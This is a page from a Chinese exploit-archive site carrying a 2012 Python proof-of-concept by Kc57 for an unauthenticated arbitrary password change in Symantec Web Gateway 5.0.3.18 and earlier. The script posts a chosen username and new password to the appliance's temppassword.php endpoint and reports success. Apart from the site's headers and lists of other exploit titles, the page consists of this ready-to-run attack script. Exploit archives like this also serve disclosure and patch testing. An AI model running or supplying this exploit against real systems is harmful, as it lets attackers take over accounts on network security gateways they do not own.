首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change
来源:vfocus.net 作者:Kc57 发布时间:2012-08-22  

#!/usr/bin/python

import urllib
import urllib2
import re
import sys

print "[*] ###########################################################"
print "[*] Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change"
print "[*] @_Kc57"
print "[*] ###########################################################\n"


if (len(sys.argv) != 4):
 print "Usage: poc.py <RHOST> <username> <newpassword>"
 exit(0)

ip = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

url = "https://%s/spywall/temppassword.php" % (ip)

opts = {
 'target':'executive_summary.php',
 'USERNAME':username,
 'password':password,
 'password2':password,
 'Save':'Save'
}

print "[*] Sending request to server..."

data = urllib.urlencode(opts)
request = urllib2.Request(url, data)
response = urllib2.urlopen(request)

match = re.search('Your new password has been saved', response.read())

if(match):
 print "[*] Password for %s changed to %s" %(username,password)
else:
 print "[*] Password change failed!"


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sysax Multi Server 5.64 Create
·Symantec Web Gateway <= 5.0.3.
·SAP Netweaver Dispatcher 7.0 E
·E-Mail Security Virtual Applia
·Sysax Multi-Server 5.64 Create
·VLC All versions - .m3u/.vlc D
·Apache Struts2 Remote Code Exe
·Divx 6.8.2 - Denial Of Service
·Vice City Multiplayer Server 0
·Adobe Flash Player 11.3 Font P
·XODA 0.4.5 Arbitrary PHP File
·Apple Quicktime plugin - Windo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved